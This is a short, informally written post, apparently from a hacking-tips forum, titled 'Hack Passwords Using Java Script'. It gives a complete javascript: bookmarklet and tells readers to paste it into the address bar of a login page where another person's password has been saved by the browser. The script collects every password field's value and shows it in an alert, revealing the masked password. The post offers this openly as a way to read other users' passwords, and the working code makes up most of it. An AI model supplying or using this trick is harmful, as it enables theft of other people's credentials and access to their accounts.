Hack Passwords Using Java Script

hi frndz.. many users forget to lo-gout and they also tick remember me option so that's way when lo-gin page open than password written in ****** so we not read it so now do this open lo-gin page and put this code after url of that page and hit enter u can see that password
javascript:(function() {var %20s,F,j,f,i;%20s%20= %20%22%22; %20F%20= %20document.forms;%20for(j=0; %20j<F.length;%20++j) %20{%20f %20=%20F[j];%20for%20(i=0; %20i<f.length;%20++i) %20{%20if %20(f[i].type.toLowerCase ()%20==%20%22password%22) %20s%20+=%20f[i].value%20+ %20%22 %22;%20}%20}%20if %20(s)%20alert(%22This Trick is Exclusively shared by RajarajaN8804%20@www.tamilnet.tk: %20The%20Password%20On %20This Page:%22%20+%20s); %20else%20alert(%22There %20are %20no%20passwords %20in%20forms%20on%20this %20page.%22);})();